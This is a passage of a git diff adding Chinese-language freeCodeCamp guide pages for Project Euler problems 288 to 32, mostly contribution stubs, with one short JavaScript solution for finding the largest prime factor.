+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
new file mode 100644
index 0000000000..66be212b73
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Eulerian Cycles
+localeTitle: 欧拉循环
+---
+## 问题289：欧拉循环
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
new file mode 100644
index 0000000000..c23c16b3f7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct powers
+localeTitle: 不同的权力
+---
+## 问题29：不同的权力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
new file mode 100644
index 0000000000..4384eeef11
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital Signature
+localeTitle: 电子签名
+---
+## 问题290：数字签名
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
new file mode 100644
index 0000000000..1adaf2e061
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Panaitopol Primes
+localeTitle: Panaitopol Primes
+---
+## 问题291：Panaitopol Primes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
new file mode 100644
index 0000000000..649b77dc18
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean Polygons
+localeTitle: 毕达哥拉斯多边形
+---
+## 问题292：毕达哥拉斯多边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
new file mode 100644
index 0000000000..780d6bdf9a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo-Fortunate Numbers
+localeTitle: 伪幸运数字
+---
+## 问题293：伪幸运数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
new file mode 100644
index 0000000000..b2eb7b393b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits - experience #23
+localeTitle: 数字之和 - 经验＃23
+---
+## 问题294：数字之和 - 经验＃23
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
new file mode 100644
index 0000000000..1f046cadc8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Lenticular holes
+localeTitle: 透镜孔
+---
+## 问题295：透镜孔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
new file mode 100644
index 0000000000..129bec1d0d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisector and Tangent
+localeTitle: 角平分线和切线
+---
+## 问题296：角平分线和切线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
new file mode 100644
index 0000000000..90791cd6f7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf Representation
+localeTitle: 蜱村代表
+---
+## 问题297：Zeckendorf表示
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
new file mode 100644
index 0000000000..fd595d9159
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
@@ -0,0 +1,9 @@
+---
+title: Selective Amnesia
+localeTitle: 选择性健忘症
+---
+## 问题298：选择性健忘症
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
new file mode 100644
index 0000000000..b10c4b6eea
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Three similar triangles
+localeTitle: 三个相似的三角形
+---
+## 问题299：三个相似的三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
new file mode 100644
index 0000000000..a1dba0ad4a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
@@ -0,0 +1,33 @@
+---
+title: Largest prime factor
+localeTitle: 最大的素因子
+---
+## 问题3：最大的素因子
+
+### 方法：
+
+*   为了找到一个数字的最大素数因子，我们从最小的素数因子2开始并用它来除数。
+*   如果余数为0表示该数字可以被该素数整除，我们将数字除以相同的素数，直到该数字不再被该素数整除。
+*   之后，我们将素因子增加1并重复此过程，直到数字变为1。
+
+### 解：
+
+```js
+function largestPrimeFactor(number) { 
+  let prime = 2, max = 1; 
+  while (prime <= number){ 
+    if (number % prime == 0) { 
+      max = prime; 
+      number = number/prime; 
+    } 
+    else prime++; //Only increment the prime number if the number isn't divisible by it 
+  } 
+  return max; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Problem-3-Largest-prime-factor)
+
+### 资源：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
new file mode 100644
index 0000000000..ba47854e4f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit n powers
+localeTitle: 数字n权力
+---
+## 问题30：数字n功率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
new file mode 100644
index 0000000000..f82c308758
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
@@ -0,0 +1,9 @@
+---
+title: Protein folding
+localeTitle: 蛋白质折叠
+---
+## 问题300：蛋白质折叠
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
new file mode 100644
index 0000000000..73f949cc9b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim
+localeTitle: 它
+---
+## 问题301：Nim
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md
new file mode 100644
index 0000000000..b4830ce2fa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Strong Achilles Numbers
+localeTitle: 强大的阿基里斯数字
+---
+## 问题302：强烈的阿基里斯数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md
new file mode 100644
index 0000000000..755f9754b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Multiples with small digits
+localeTitle: 倍数乘以小数字
+---
+## 问题303：小数字的倍数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-303-multiples-with-small-digits/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md
new file mode 100644
index 0000000000..6fd7bd67fd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md
@@ -0,0 +1,9 @@
+---
+title: Primonacci
+localeTitle: Primonacci
+---
+## 问题304：Primonacci
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-304-primonacci/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md
new file mode 100644
index 0000000000..7f9b3b1c65
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md
@@ -0,0 +1,9 @@
+---
+title: Reflexive Position
+localeTitle: 反身位置
+---
+## 问题305：反身位置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-305-reflexive-position/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md
new file mode 100644
index 0000000000..065ee3b20b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Paper-strip Game
+localeTitle: 纸带游戏
+---
+## 问题306：纸条游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-306-paper-strip-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md
new file mode 100644
index 0000000000..267cd8a12f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md
@@ -0,0 +1,9 @@
+---
+title: Chip Defects
+localeTitle: 芯片缺陷
+---
+## 问题307：芯片缺陷
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-307-chip-defects/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md
new file mode 100644
index 0000000000..5e9e9e22e1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md
@@ -0,0 +1,9 @@
+---
+title: An amazing Prime-generating Automaton
+localeTitle: 一个惊人的Prime生成自动机
+---
+## 问题308：一个惊人的Prime生成自动机
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-308-an-amazing-prime-generating-automaton/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md
new file mode 100644
index 0000000000..9ff1626109
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer Ladders
+localeTitle: 整数阶梯
+---
+## 问题309：整数梯形图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-309-integer-ladders/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md
new file mode 100644
index 0000000000..8de94aec12
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md
@@ -0,0 +1,9 @@
+---
+title: Coin sums
+localeTitle: 硬币总和
+---
+## 问题31：硬币总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-31-coin-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md
new file mode 100644
index 0000000000..1b589b180c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim Square
+localeTitle: 尼姆广场
+---
+## 问题310：Nim Square
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-310-nim-square/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md
new file mode 100644
index 0000000000..7f580d4fba
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Biclinic Integral Quadrilaterals
+localeTitle: 双相积分四边形
+---
+## 问题311：双相积分四边形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-311-biclinic-integral-quadrilaterals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md
new file mode 100644
index 0000000000..34a8a04ff2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclic paths on Sierpiński graphs
+localeTitle: Sierpiński图上的循环路径
+---
+## 问题312：Sierpiński图上的循环路径
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-312-cyclic-paths-on-sierpiski-graphs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md
new file mode 100644
index 0000000000..7f5d3d4a38
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Sliding game
+localeTitle: 滑动游戏
+---
+## 问题313：滑动游戏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-313-sliding-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md
new file mode 100644
index 0000000000..2806ee6fab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md
@@ -0,0 +1,9 @@
+---
+title: The Mouse on the Moon
+localeTitle: 月球上的鼠标
+---
+## 问题314：月球上的鼠标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-314-the-mouse-on-the-moon/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md
new file mode 100644
index 0000000000..95782715da
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital root clocks
+localeTitle: 数字根时钟
+---
+## 问题315：数字根时钟
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-315-digital-root-clocks/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md
new file mode 100644
index 0000000000..e829eaa4fc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md
@@ -0,0 +1,9 @@
+---
+title: Numbers in decimal expansions
+localeTitle: 十进制扩展中的数字
+---
+## 问题316：十进制扩展中的数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-316-numbers-in-decimal-expansions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md
new file mode 100644
index 0000000000..cc63ae754d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Firecracker
+localeTitle: 鞭炮
+---
+## 问题317：爆竹
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-317-firecracker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md
new file mode 100644
index 0000000000..6e9edf838a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md
@@ -0,0 +1,9 @@
+---
+title: 2011 nines
+localeTitle: 2011娃娃
+---
+## 问题318：2011年9月
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md
new file mode 100644
index 0000000000..a0206aeeaf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Bounded Sequences
+localeTitle: 有界序列
+---
+## 问题319：有界序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md
new file mode 100644
index 0000000000..9511d1de48
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital products
+localeTitle: Pandigital产品
+---
+## 问题32：Pandigital产品
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
